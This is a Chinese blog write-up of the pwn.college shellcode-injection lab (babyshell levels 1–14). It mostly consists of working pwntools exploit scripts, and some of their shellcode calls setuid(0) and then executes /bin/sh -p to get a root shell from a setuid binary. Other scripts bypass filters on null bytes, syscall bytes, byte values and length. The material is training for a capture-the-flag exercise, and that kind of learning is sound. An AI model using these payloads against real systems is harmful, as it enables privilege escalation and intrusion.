pwn college 刷题记录: Shellcode Injection

本文最后更新于:2024年6月12日 下午

shellcode,我的 shellcode 🥵

总结

shellcode,我的 shellcode - 🥵

资源

  • x64.syscall.sh: Your cheat sheet for syscalls. A glance here, and you’re always ahead.
    x64.syscall.sh:系统调用的备忘单
  • Syscalls Manpage: Understand not just the calls, but their deeper implications.
    Syscalls Manpage:不仅了解调用,还了解其更深层次的含义。
  • Felix Cloutier: Dive into the heartbeats of instructions, ensuring you’re always in step.
    Felix Cloutier:深入了解指令的脉动,确保您始终步调一致。
  • x86asm Reference: Decode the bytes into moves, turning the tables on any challenge.
    x86asm 参考:将字节解码为移动,在任何挑战中扭转局面。

1

看一下题版文件

1
2
$ ll /challenge/babyshell_level1
-rwsr-xr-x 1 root root 17531 Oct 4 2023 /challenge/babyshell_level1*

属于是suid 程序

看一下程序逻辑

  • 分配一块内存用于存放shellcode,其大小为0x1000字节
  • 从标准输入读取最多0x1000字节的数据到shellcode区域
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
#include <sys/mman.h>
#include <string.h>
#include <stdlib.h>
#include <stdint.h>
#include <assert.h>
#include <unistd.h>
#include <stdio.h>

#include <capstone/capstone.h>

#define CAPSTONE_ARCH CS_ARCH_X86
#define CAPSTONE_MODE CS_MODE_64

void print_disassembly(void *shellcode_addr, size_t shellcode_size)
{
csh handle;
cs_insn *insn;
size_t count;

if (cs_open(CAPSTONE_ARCH, CAPSTONE_MODE, &handle) != CS_ERR_OK)
{
printf("ERROR: disassembler failed to initialize.\n");
return;
}

count = cs_disasm(handle, shellcode_addr, shellcode_size, (uint64_t)shellcode_addr, 0, &insn);
if (count > 0)
{
size_t j;
printf(" Address | Bytes | Instructions\n");
printf("------------------------------------------------------------------------------------------\n");

for (j = 0; j < count; j++)
{
printf("0x%016lx | ", (unsigned long)insn[j].address);
for (int k = 0; k < insn[j].size; k++) printf("%02hhx ", insn[j].bytes[k]);
for (int k = insn[j].size; k < 15; k++) printf(" ");
printf(" | %s %s\n", insn[j].mnemonic, insn[j].op_str);
}

cs_free(insn, count);
}
else
{
printf("ERROR: Failed to disassemble shellcode! Bytes are:\n\n");
printf(" Address | Bytes\n");
printf("--------------------------------------------------------------------\n");
for (unsigned int i = 0; i <= shellcode_size; i += 16)
{
printf("0x%016lx | ", (unsigned long)shellcode_addr+i);
for (int k = 0; k < 16; k++) printf("%02hhx ", ((uint8_t*)shellcode_addr)[i+k]);
printf("\n");
}
}

cs_close(&handle);
}

void *shellcode_mem;
size_t shellcode_size;

int main(int argc, char **argv, char **envp)
{
assert(argc > 0);

printf("###\n");
printf("### Welcome to %s!\n", argv[0]);
printf("###\n");
printf("\n");

puts("This challenge reads in some bytes, modifies them (depending on the specific challenge configuration), and executes them");
puts("as code! This is a common exploitation scenario, called `code injection`. Through this series of challenges, you will");
puts("practice your shellcode writing skills under various constraints! To ensure that you are shellcoding, rather than doing");
puts("other tricks, this will sanitize all environment variables and arguments and close all file descriptors > 2.\n");
for (int i = 3; i < 10000; i++) close(i);
for (char **a = argv; *a != NULL; a++) memset(*a, 0, strlen(*a));
for (char **a = envp; *a != NULL; a++) memset(*a, 0, strlen(*a));

uint8_t shellcode[0x1000];
shellcode_mem = (void *)&shellcode;
printf("[LEAK] Placing shellcode on the stack at %p!\n", shellcode_mem);

puts("In this challenge, shellcode will be copied onto the stack and executed. Since the stack location is randomized on every");
puts("execution, your shellcode will need to be *position-independent*.\n");

puts("Reading 0x1000 bytes from stdin.\n");
shellcode_size = read(0, shellcode_mem, 0x1000);
assert(shellcode_size > 0);

puts("This challenge is about to execute the following shellcode:\n");
print_disassembly(shellcode_mem, shellcode_size);
puts("");

puts("Executing shellcode!\n");
((void(*)())shellcode_mem)();
}

用户的输入会作为二进制写入到栈上,然后作为函数调用

我们的目的是拿到 flag

有两种思路

  • 获得 root 权限的 shell
  • 直接读取/flag

思路1

获得 root 权限的 shell

由于这个程序是个 suid 程序,因此,很容易想到注入一段触发执行/bin/sh程序的代码即可

触发启动 sh 的汇编代码:

1
2
3
4
5
6
7
8
    mov    rax, 59               # 设置 rax 寄存器为 59,表示系统调用 execve
lea rdi, [rip+binsh] # 将 /bin/sh 字符串地址放入 rdi 寄存器
xor rsi, rsi # 将 rsi 寄存器置零
xor rdx, rdx # 将 rdx 寄存器置零
syscall # 执行系统调用,启动 /bin/sh

binsh:
.string "/bin/sh"

但是很遗憾,注入之后发现没有得到 root shell 而只是得到了普通 shell

源濑氏咗田 因为,shell 的保护机制:/bin/sh符号链接指向的是/bin/dash,dash和bash都有防御机制,当它们发现自己是在setuid进程中被执行的时候,就会euid为进程的真实用户id,放弃特权

重提一下相关概念

  • eUID(Effective User ID):表示正在执行命令的进程的有效用户ID。
  • rUID(Real User ID):表示正在执行命令的进程的真实用户ID。

一般这俩ID一样。但是如果程序是 suid 程序那么 ruid 保持原样, euid 是 root,程序以 root 权限执行

在这种情况下,如果/bin/sh被设置为SUID权限(suid标志被设置,即eUID为0但rUID不为0),它将降低权限到rUID。也就是说,eUID将被设置为rUID的值,而rUID不为0。

为了禁用这种行为,可以使用sh -p命令来执行/bin/sh-p选项将使/bin/sh保持SUID权限,而不会降低为rUID

综上有俩方式:

  • 执行/bin/sh -p
  • 执行/bin/sh 之前将 euid 置为 0
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from pwn import *

context.arch = 'amd64'

p = process('/challenge/babyshell_level1')

# 执行 /bin/sh 以获取特权shell
shellcode = """
xor rdi, rdi # 设置 rdi 寄存器为 0,表示设置当前进程的有效用户 ID
mov eax, 0x69 # 将系统调用号 105 (setuid) 放入 eax 寄存器
syscall # 执行系统调用,设置当前进程的有效用户 ID 为 0(root)

mov rax, 59 # 设置 rax 寄存器为 59,表示系统调用 execve
lea rdi, [rip+binsh] # 将 /bin/sh 字符串地址放入 rdi 寄存器
xor rsi, rsi # 将 rsi 寄存器置零
xor rdx, rdx # 将 rdx 寄存器置零
syscall # 执行系统调用,启动 /bin/sh

binsh:
.string "/bin/sh"
"""

shellcode = asm(shellcode)

p.send(shellcode)

p.interactive()

思路2

由于是 suid 程序,因此可以直接执行 cat /flag 命令读取内容

1
2
3
4
5
6
7
8
9
10
11
from pwn import *

context(arch = 'amd64' , os = 'linux')

p=process("/challenge/babyshell_level1")

shellcode=shellcraft.cat("/flag")
shellcode=asm(shellcode)

p.send(shellcode)
p.interactive()

2

在 1 的基础上加了逻辑

  • 对标准输入的shellcode随机跳过一段长度(0x100到0x800字节)
1
2
3
4
5
srand(time(NULL));
int to_skip = (rand() % 0x700) + 0x100;
shellcode_mem += to_skip;
shellcode_size -= to_skip;

思路

  • 把shellcode 放到后面,前面用捌佰个 nop 填充
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from pwn import *
import random

context(arch = 'amd64' , os = 'linux')
p = process("/challenge/babyshell_level2")

# 编写shellcode:读取"/flag"文件的内容
shellcode = shellcraft.cat("/flag")
shellcode = asm(shellcode)

nop_sled_length = 0x800
nop_sled = asm('nop') * nop_sled_length

# 将nop sled和shellcode拼接
payload = nop_sled + shellcode

p.send(payload)

p.interactive()

3

在1 的基础上加入了 Shellcode过滤:检查读入的shellcode是否包含NULL字节(\x00

disasm 函数可以方便的看到字节码和汇编

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
print(disasm(shellcode))

0: 48 b8 01 01 01 01 01 01 01 01 movabs rax, 0x101010101010101
a: 50 push rax
b: 48 b8 2e 67 6d 60 66 01 01 01 movabs rax, 0x1010166606d672e
15: 48 31 04 24 xor QWORD PTR [rsp], rax
19: 6a 02 push 0x2
1b: 58 pop rax
1c: 48 89 e7 mov rdi, rsp
1f: 31 f6 xor esi, esi
21: 0f 05 syscall
23: 41 ba ff ff ff 7f mov r10d, 0x7fffffff
29: 48 89 c6 mov rsi, rax
2c: 6a 28 push 0x28
2e: 58 pop rax
2f: 6a 01 push 0x1
31: 5f pop rdi
32: 99 cdq
33: 0f 05 syscall


print("Does shellcode contain NULL bytes?", b'\x00' in shellcode)

Does shellcode contain NULL bytes? False

思路 1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *

context(arch='amd64', os='linux')

context(arch = 'amd64' , os = 'linux')
p = process("/challenge/babyshell_level3")

shellcode=shellcraft.cat("/flag")
shellcode=asm(shellcode)
print(shellcode)
print(disasm(shellcode))
print("Does shellcode contain NULL bytes?", b'\x00' in shellcode)

p.send(shellcode)

p.interactive()

思路 2

pushstr 可以将字符串压栈但是不引入\x00

1
2
3
4
pwnlib.shellcraft.amd64.linux.read(fd=0, buffer='rsp', count=8)[source]

Reads data from the file descriptor into the provided buffer. This is a one-shot and does not fill the request.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
from pwn import *

context(arch = 'amd64' , os = 'linux')
p = process("/challenge/babyshell_level3")

# 使用 pushstr 压入 "/flag" 字符串而不包含 NULL 字节
shellcode = shellcraft.pushstr('/flag')
# 打开文件
shellcode += shellcraft.open('rsp', 0, 0) # 'rsp' 指向刚推送的字符串
# 读取文件内容
shellcode += shellcraft.read('rax', 'rsp', 1024) # 假设我们读取最多1024字节
# 将文件内容写到标准输出
shellcode += shellcraft.write(1, 'rsp', 'rax')

shellcode += shellcraft.exit(0)

# 编译 shellcode
binary_code = asm(shellcode)

# 打印生成的 shellcode 检查是否包含 NULL 字节
print(disasm(binary_code))
print("Does shellcode contain NULL bytes?", b'\x00' in binary_code)


p.send(binary_code)

p.interactive()

---

0: 48 b8 01 01 01 01 01 01 01 01 movabs rax, 0x101010101010101
a: 50 push rax
b: 48 b8 2e 67 6d 60 66 01 01 01 movabs rax, 0x1010166606d672e
15: 48 31 04 24 xor QWORD PTR [rsp], rax
19: 48 89 e7 mov rdi, rsp
1c: 31 d2 xor edx, edx
1e: 31 f6 xor esi, esi
20: 6a 02 push 0x2
22: 58 pop rax
23: 0f 05 syscall
25: 48 89 c7 mov rdi, rax
28: 31 c0 xor eax, eax
2a: 31 d2 xor edx, edx
2c: b6 04 mov dh, 0x4
2e: 48 89 e6 mov rsi, rsp
31: 0f 05 syscall
33: 6a 01 push 0x1
35: 5f pop rdi
36: 48 89 c2 mov rdx, rax
39: 48 89 e6 mov rsi, rsp
3c: 6a 01 push 0x1
3e: 58 pop rax
3f: 0f 05 syscall
41: 31 ff xor edi, edi
43: 6a 3c push 0x3c
45: 58 pop rax
46: 0f 05 syscall

4

不可以出现 \x48,也即是 H

但是对64 位寄存器进行操作,或者处理QWORD 这种 64 位数据,就会在指令级别加上神奇的 REX,与之对应的,导致\x48的出现

诸如mov 指令在操作 64 位寄存器时,需要使用 REX 前缀。这时在字节码中会出现 \x48 前缀。

但是,push  和 pop指令在操作 64 位寄存器(如 push rax)时,并不需要 REX 前缀,因为 push 本身就是针对 64 位栈的操作。因此,push 指令对应的二进制程序字节码中不会出现 \x48 前缀

想解决此题,只需使用 push pop触发execve(filepath, argv, envp)函数

  • filepath:”/bin/sh”(字符串地址)
  • argv
    • argv[0]:"/bin/sh\0"
    • argv[1]:"-p\0"
  • envp

所以本质上是做了这两个事

  • 构造参数数组
    • 数组在内存中的组织方式
    • 考虑下多维数组和字节序问题
    • 这涉及到一些指针
  • 调用 execve 系统调用

/bin//sh字符串想要入栈该怎么操作?如果push进去或者 mov 会不可避免的涉及到\x48。因此可以利用call函数时会将返回地址压栈的特性,将字符串的地址压入栈,这样就可以获取地址且绕过 48

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
from pwn import *

context.arch = 'amd64'
context.os = 'linux'

p = process("/challenge/babyshell_level4")

shellcode = asm(
"""
jmp two
one:
pop rdi // get file path,the 1st arg

push 0x0 //end of -p
push 0x702d // -p
push rsp // addr of -p
pop rdx // rdx <- addr

push 0x0 //end of argv
push rdx //addr of -p
push rdi //addr of /bin/sh
push rsp //addr of argv
pop rsi //rsi <- addr of argv,the 2st arg

push 0x0 //envp
pop rdx //rdx <- 0
push 0x3b
pop rax //rax <- 0x3b

syscall
two:
call one
.string "/bin/bash"
"""
)

p.send(shellcode)

p.interactive()

5

禁用 0x0f05,因此需要通过动态修改字节来达成 syscall 调用

此路不通:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
from pwn import *

context.arch = 'amd64'
context.log_level = "debug"
context.terminal=['tmux','splitw','-h']

p = process('/challenge/babyshell_level5')

# gdb.attach(p)

# 执行 /bin/sh 以获取特权shell
shellcode = """
xor rdi, rdi # 设置 rdi 寄存器为 0,表示设置当前进程的有效用户 ID
mov eax, 0x69 # 将系统调用号 105 (setuid) 放入 eax 寄存器
push 0x050e
inc qword ptr [rsp]
call rsp
nop
mov rax, 59 # 设置 rax 寄存器为 59,表示系统调用 execve
lea rdi, [rip+binsh] # 将 /bin/sh 字符串地址放入 rdi 寄存器
xor rsi, rsi # 将 rsi 寄存器置零
xor rdx, rdx # 将 rdx 寄存器置零
push 0x050e
inc qword ptr [rsp]
call rsp
nop


binsh:
.string "/bin/sh"
"""

shellcode = asm(shellcode)

p.send(shellcode)

p.interactive()

调试:

1
2
3
4
5
6
7
context.arch = 'amd64'
context.log_level = "debug"
context.terminal=['tmux','splitw','-h']

gdb.attach(sh)

gdb> display/xg $rbp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
from pwn import *

context.arch = 'amd64'
context.log_level = "debug"
context.terminal=['tmux','splitw','-h']

p = process('/challenge/babyshell_level5')

shellcode = """
jmp two
one:
pop rdi

push 0x0
push 0x702d
push rsp
pop rdx

push 0x0
push rdx
push rdi
push rsp
pop rsi

push 0x0
pop rdx
push 0x3b
pop rax

push 0x050e
inc qword ptr [rsp]
jmp rsp
nop
two:
call one
.string "/bin/bash"
"""

shellcode = asm(shellcode)

p.send(shellcode)

p.interactive()

6

Write and execute shellcode to read the flag, but the inputted data cannot contain any form of system call bytes (syscall, sysenter, int), this challenge adds an extra layer of difficulty!

同上

7

Write and execute shellcode to read the flag, but all file descriptors (including stdin, stderr and stdout!) are closed.

把 flag 属性更改即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
from pwn import *

context.arch = 'amd64'
context.log_level = "debug"
#context.terminal=['tmux','splitw','-h']

p = process('/challenge/babyshell_level7')

shellcode = """
mov rax, 0x67616c662f # “/flag”
push rax
mov rdi, rsp

mov rsi, 0777

mov rax, 90

syscall

mov rax, 60 # exit(0)
xor rdi, rdi
syscall

"""

shellcode = asm(shellcode)

p.send(shellcode)

p.interactive()

  • 0x 前缀表示十六进制。例如,mov rax, 0x67616c662f 将将十六进制数 0x67616c662f 赋值给 rax 寄存器。
  • 0 前缀表示八进制。例如,mov rsi, 0777 将八进制数 0777(对应十进制数 511)赋值给 rsi 寄存器。
  • 没有前缀的数值默认为十进制。例如,mov rax, 90 将十进制数 90 赋值给 rax 寄存器。

8

Write and execute shellcode to read the flag, but you only get 18 bytes.

chmod 命令会修改软链接指向的文件的权限,而不会改变软链接本身的权限

由于/flag 这几个字符会占用很多的字节数,因此可以创建一个 A 文件减少长度

mov 对应的字节会很长,push 和 pop 组合会减短

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29

from pwn import *

context.arch = 'amd64'
#context.log_level = "debug"

p = process('/challenge/babyshell_level8')

shellcode = """
/* chmod('A',777) */
push 0x41
mov rdi, rsp
push 0777
pop rsi

push SYS_chmod /* 0x5a */
pop rax
syscall
"""

# Assemble the shellcode
shellcode = asm(shellcode)
print(shellcode)
print(len(shellcode))

p.send(shellcode)

# Interact with the process
p.interactive()
1
2
3
4
5
6
7
8
9
10
16 bytes
Address | Bytes | Instructions
------------------------------------------------------------------------------------------
0x000000002dc00000 | 6a 41 | push 0x41
0x000000002dc00002 | 48 89 e7 | mov rdi, rsp
0x000000002dc00005 | 68 ff 01 00 00 | push 0x1ff
0x000000002dc0000a | 5e | pop rsi
0x000000002dc0000b | 6a 5a | push 0x5a
0x000000002dc0000d | 58 | pop rax
0x000000002dc0000e | 0f 05 | syscall
  • 软链接(symbolic link)是一种特殊的文件,它包含一个指向其他文件或目录的引用。
  • 硬链接(hard link)是一个文件在磁盘上的另一个入口点,指向同一个文件数据。
    软链接的重要应用场景:
  1. 程序入口点: 将常用程序的快捷方式创建为软链接,放在 /usr/bin 等常见路径下,方便用户直接调用。
  2. 目录快捷方式: 在 ~/ 目录下创建指向常用目录的软链接,方便快速访问。

    9

Write and execute shellcode to read the flag, but your input has data inserted into it before being executed.

1
2
3
4
5
for ( k = 0; k < (unsigned __int64)shellcode_size; ++k )
{
if ( k / 10 % 2 == 1 )
*((_BYTE *)shellcode + k) = -52;
}

第 10 到 20个字节会被修改为 0xcc,可以将这段填充,然后使用 jmp 跳过这段

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
from pwn import *

context.arch = 'amd64'
#context.log_level = "debug"

p = process('/challenge/babyshell_level9')

shellcode = """
/* chmod('A',777) */
push 0x41
mov rdi, rsp
push 4
pop rsi
jmp continue
.rept 10
nop
.endr
continue:
push SYS_chmod /* 0x5a */
pop rax
syscall
"""

# Assemble the shellcode
shellcode = asm(shellcode)
print(shellcode)
print(len(shellcode))

p.send(shellcode)

# Interact with the process
p.interactive()

10

排序。其中v10是shellcode>>3-1,因此只需要将长度控制在 16 内即可

1
2
3
4
5
6
7
8
9
10
11
12
13
for ( k = 0; k < v10; ++k )
{
for ( m = 0; m < v10 - k - 1; ++m )
{
if ( v13[m] > v13[m + 1] )
{
v14 = v13[m];
v13[m] = v13[m + 1];
v13[m + 1] = v14;
}
}
}

11

同上

12

Write and execute shellcode to read the flag, but every byte in your input must be unique.

1
2
3
4
5
6
7
8
9
for ( k = 0; (int)k < (unsigned __int64)shellcode_size; ++k )
{
if ( *((_BYTE *)v11 + *((unsigned __int8 *)shellcode + (int)k)) )
{
printf("Failed filter at byte %d!\n", k);
exit(1);
}
*((_BYTE *)v11 + *((unsigned __int8 *)shellcode + (int)k)) = 1;
}

所有的字节都是不同的

思路:利用 mov 对不同大小寄存器操作时字节码是不同的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from pwn import *

context.arch = 'amd64'
#context.log_level = "debug"

p = process('/challenge/babyshell_level12')

shellcode = """
push 0x41
mov rdi, rsp
mov sil, 0x4
mov al, 0x5a
syscall
"""

# Assemble the shellcode
shellcode = asm(shellcode)
print(shellcode)
print(len(shellcode))

p.send(shellcode)

# Interact with the process
p.interactive()

13

12bytes 的空间,可以使用之前软链接的方法,并进一步优化字节数

1
2
3
4
5
6
7
8
9
10
11
shellcode = """
/* chmod('A',777) */
push 0x41
mov rdi, rsp
push 0777
pop rsi

push SYS_chmod /* 0x5a */
pop rax
syscall
"""
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26

from pwn import *

context.arch = 'amd64'
#context.log_level = "debug"

p = process('/challenge/babyshell_level13')

shellcode = """
push 0x41
mov rdi, rsp
mov sil, 0x4
mov al, 0x5a
syscall
"""

# Assemble the shellcode
shellcode = asm(shellcode)
print(shellcode)
print("\n\nlength of code is \n\n",len(shellcode))

p.send(shellcode)

# Interact with the process
p.interactive()

14

6 bytes,自然要借力

看一下调用 shellcode 时的逻辑

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
  shellcode = mmap((void *)0x1942C000, 0x1000uLL, 7, 34, 0, 0LL);
if ( shellcode != (void *)423804928 )
__assert_fail("shellcode == (void *)0x1942c000", "<stdin>", 0x64u, "main");
printf("Mapped 0x1000 bytes for shellcode at %p!\n", (const void *)0x1942C000);
puts("Reading 0xc bytes from stdin.\n");
shellcode_size = read(0, shellcode, 0xCuLL);
if ( !shellcode_size )
__assert_fail("shellcode_size > 0", "<stdin>", 0x69u, "main");
puts("Removing write permissions from first 4096 bytes of shellcode.\n");
if ( mprotect(shellcode, 0x1000uLL, 5) )
__assert_fail("mprotect(shellcode, 4096, PROT_READ|PROT_EXEC) == 0", "<stdin>", 0x6Cu, "main");
puts("This challenge is about to execute the following shellcode:\n");
print_disassembly(shellcode, shellcode_size);
puts(&byte_2505);
puts("Executing shellcode!\n");
((void (*)(void))shellcode)();
puts("### Goodbye!");
return 0;
}

.text:000000000000180E lea rdi, aExecutingShell ; "Executing shellcode!\n"
.text:0000000000001815 call _puts
.text:000000000000181A mov rax, cs:shellcode
.text:0000000000001821 mov rdx, rax
.text:0000000000001824 mov eax, 0
.text:0000000000001829 call rdx
.text:000000000000182B lea rdi, aGoodbye ; "### Goodbye!"
.text:0000000000001832 call _puts
.text:0000000000001837 mov eax, 0
.text:000000000000183C leave
.text:000000000000183D retn

可知:

  • shellcode 的地址是在 rdx 中
  • rax 为 0

思路:

  • 触发 read(int fildes, void *buf, size_t nbyte);
    • read(stdin,shellcode,nbytes)
      • rdi:0
      • rsi:shellcode
      • rdx:nbytes
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
from pwn import *

context.arch = 'amd64'
#context.log_level = "debug"

p = process('/challenge/babyshell_level14')

shellcode = """
push rax
pop rdi
push rdx
pop rsi
syscall
"""

# Assemble the shellcode
shellcode = asm(shellcode)
#print(shellcode)
#print("\n\nlength of code is \n\n",len(shellcode))

p.send(shellcode)

shellcode =asm(
"""
push 0x41
mov rdi, rsp
mov sil, 0x4
mov al, 0x5a
syscall
"""
)
payload=b'a'*6+shellcode

p.send(payload)

# Interact with the process
p.interactive()

后记

pathname 指向要执行的程序路径。
argv 是一个字符串数组,包含要传递给程序的所有参数,第一个参数通常是程序名。
envp 是一个环境变量字符串数组,此处可以为 NULL。

1
int execve(const char *pathname, char *const argv[], char *const envp[]);
1
2
3
4
5
6
7
8
9
#include <unistd.h>

int main() {
char *args[] = {"/bin/sh", "-p", NULL};
char *env[] = {NULL};

execve("/bin/sh", args, env);
return 0;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28

section .text
global _start

_start:
; /bin/sh 字符串
mov rax, '/bin//sh' ; //bin/sh 字符串(8 字节反转)
push rax

; 构造参数数组
mov rdi, rsp ; 第一个参数:程序名 (/bin/sh)
push rdi ; 参数数组第一个元素 (指向 /bin/sh)
mov rax, 0x702d ; -p 字符串 (反转,但只有两字节)
push rax ; 参数数组第二个元素 (-p)
mov rsi, rsp ; 第二个参数:指向参数数组

push 0 ; 参数数组的结束标志 NULL
mov rdx, rsp ; 第三个参数:环境变量数组 (NULL)

; 调用 execve 系统调用
mov rax, 59 ; execve 的系统调用号为 59
syscall ; 执行系统调用

; 退出程序
mov rax, 60 ; exit 的系统调用号为 60
xor rdi, rdi ; 退出码 0
syscall ; 执行系统调用

问题

小端序

根据小端序,

mov ebx, “xyz#”

shl ebx, 8

shr ebx, 8的结果是什么?

如果是push “xyz#”的话,x 在最低位,#在最高位(地址)

mov ebx, “xyz#”相当于把”xyz#”放到内存,然后 mov 指令将内存拷贝到寄存器,因此#是最高地址

https://zh.wikipedia.org/wiki/%E5%AD%97%E8%8A%82%E5%BA%8F

  • 注意到push的操作数只能是32位/64数

笔记

得到一个shell:

1
2
3
4
5
6
7
8
execve("/bin/sh", NULL, NULL):
mov rax, 59 # this is the syscall number of execve
lea rdi, [rip+binsh] # points the first argument of execve at the /bin/sh string below
mov rsi, 0 # this makes the second argument, argv, NULL
mov rdx, 0 # this makes the third argument, envp, NULL
syscall # this triggers the system call
binsh: # a label marking where the /bin/sh string is
.string "/bin/sh"

注意这里的[rip+binsh], binsh是相对于直行道第三行的rip的偏移

代码中混入数据的方法:

  • .byte 0x48, 0x45, 0x4C, 0x4C, 0x4F  # “HELLO” 
  • .string “HELLO”  # "HELLO\0"

或者是把指向数据的指针压栈

1
2
3
4
5
mov rbx, 0x0068732f6e69622f  # move "/bin/sh\0" into rbx

push rbx  # push "/bin/sh\0" onto the stack

mov rdi, rsp  # point rdi at the stack

shellcode 的别的用法

1
sendfile(1, open("/flag", NULL), 0, 1000)//`sendfile` 是一个用于在两个文件描述符之间直接传输数据的系统调用,将文件描述符 1(标准输出)作为目标文件描述符,`open("/flag", NULL)` 返回的文件描述符作为源文件描述符

使用完整的汇编语言编写

1
2
3
4
5
6
7
8
9
10
11
.global _start
_start:
.intel_syntax noprefix
mov rax, 59 # this is the syscall number of execve
lea rdi, [rip+binsh] # points the first argument of execve at the /bin/sh string below
mov rsi, 0 # this makes the second argument, argv, NULL
mov rdx, 0 # this makes the third argument, envp, NULL
syscall # this triggers the system call
binsh: # a label marking where the /bin/sh string is
.string "/bin/sh"

下面该加载器使用了mmap函数来分配一块内存页,然后使用read函数从标准输入中读取shellcode的内容,并将其写入分配的内存页中。最后,通过将内存页转换为函数指针并调用它,执行加载的shellcode

1
2
3
4
5
6
7
8
9
// 使用mmap函数分配一块内存页,起始地址为0x1337000,大小为0x1000字节(4KB)
page = mmap(0x1337000, 0x1000, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_ANON, 0, 0);

// 使用read函数从标准输入中读取shellcode的内容,并将其写入分配的内存页中
read(0, page, 0x1000);

// 将内存页的地址转换为函数指针,并调用该函数指针,执行加载的shellcode
((void(*)())page)();

调试shellcode

  • strace ./shellcode-elf
  • gdb ./shellcode-elf
  • x/5i $rip:打印当前指令地址 $rip 开始的下5条指令的汇编代码。
  • x/gx $rsp:以qword(8字节)为单位查看栈指针 $rsp 指向的内存内容。
  • x/2dx $rsp:以dword(4字节)为单位查看栈指针 $rsp 指向的内存内容。
  • x/4hx $rsp:以halfword(2字节)为单位查看栈指针 $rsp 指向的内存内容。
  • x/8b $rsp:以byte(1字节)为单位查看栈指针 $rsp 指向的内存内容。
  • si:单步执行一条指令,如果遇到 call 指令,会进入被调用函数内部。
  • ni:单步执行一条指令,如果遇到 call 指令,会跳过被调用函数,直接执行下一条指令。
  • break *0x400000:在地址 0x400000 处设置一个断点。
  • run 或 continue:运行程序,直到遇到断点或程序结束。
  • reverse execution:反向执行程序,可以回溯到之前的状态。

在AMD64架构的shellcode中,字母”H”比其他字母更加显眼的原因是因为它是一个特殊的前缀字节。AMD64架构旨在与x86架构保持向后兼容,以便能够在实践中真正被采用。在AMD64处理器上执行的x86代码将完全像在x86处理器上执行一样。大部分情况下,AMD64架构是一个纯粹的扩展,由一个前缀字节”H”来控制。

然而,有一个例外,即在AMD64架构中,push和pop指令可以直接操作64位值(如rax等),而无需前缀字节。

int 3 对应的是0xCC
但是下面的方法可以绕过:

  • inc BYTE PTR [rip]
  • .byte 0xcb ;加一就是CC
    前提是需要确保text段可写

x86和amd64的系统调用异同

  • int 0x80
  • syscall

内存访问的位数大小

single byte: mov [rax], bl
2-byte word: mov [rax], bx
4-byte dword: mov [rax], ebx
8-byte qword: mov [rax], rbx

有时需要特别标注大小

single byte mov BYTE PTR [rax], 5
2-byte word: mov WORD PTR [rax], 5
4-byte dword: mov DWORD PTR [rax], 5
8-byte qword: mov QWORD PTR [rax], 5

不同架构的shellcode

  1. 在amd64架构上编译和运行shellcode:
    • 编译命令:gcc -nostdlib -static shellcode.s -o shellcode-elf
    • 运行命令:./shellcode
  2. 在mips架构上编译和运行shellcode:
    • 编译命令:mips-linux-gnu-gcc -nostdlib shellcode-mips.s -o shellcode-mips-elf
    • 运行命令:qemu-mips-static ./shellcode-mips

对于qemu模拟器,您可以使用一些有用的选项来调试和跟踪系统调用:

  • -strace:打印系统调用的日志,类似于strace工具的功能。
  • -g 1234:在端口1234上等待gdb连接。在gdb-multiarch中使用target remote localhost:1234命令连接到模拟器进行调试。

一个示例的多架构shellcode的设计思路

  1. 将eax寄存器的值压入栈中(在x86和amd64上具有相同的操作码)。
  2. 检查esp寄存器向左移动32位或64位后的值(在x86和amd64上具有相同的操作码)。
  3. 如果移动后的值为32位,跳转到32位shellcode;如果为64位,跳转到64位shellcode。

这种策略利用了x86和amd64架构中一些指令的相似性,使得可以在不同的架构上执行相应的shellcode。

现代架构支持内存权限控制

  • PROT_READ 允许进程读取内存
  • PROT_WRITE 允许进程写入内存
  • PROT_EXEC 允许进程执行内存

所以游戏结束了吗?

使用mprotect()系统调用可以将内存设置为可执行:

  • 欺骗程序调用mprotect(PROT_EXEC)来执行我们的shellcode
    • 最常见的方法是通过返回导向编程(Return Oriented Programming)进行代码重用
  • 跳转到shellcode

即时编译(Just in Time Compilation)

  • 即时编译器需要生成(并经常重新生成)要执行的代码。
  • 用于代码生成的页面必须是可写的。
  • 用于执行的页面必须是可执行的。
  • 用于代码重新生成的页面必须是可写的。

The safe thing to do would be to:

  • mmap(PROT_READ|PROT_WRITE)
    • 分配可读可写
    • write the code
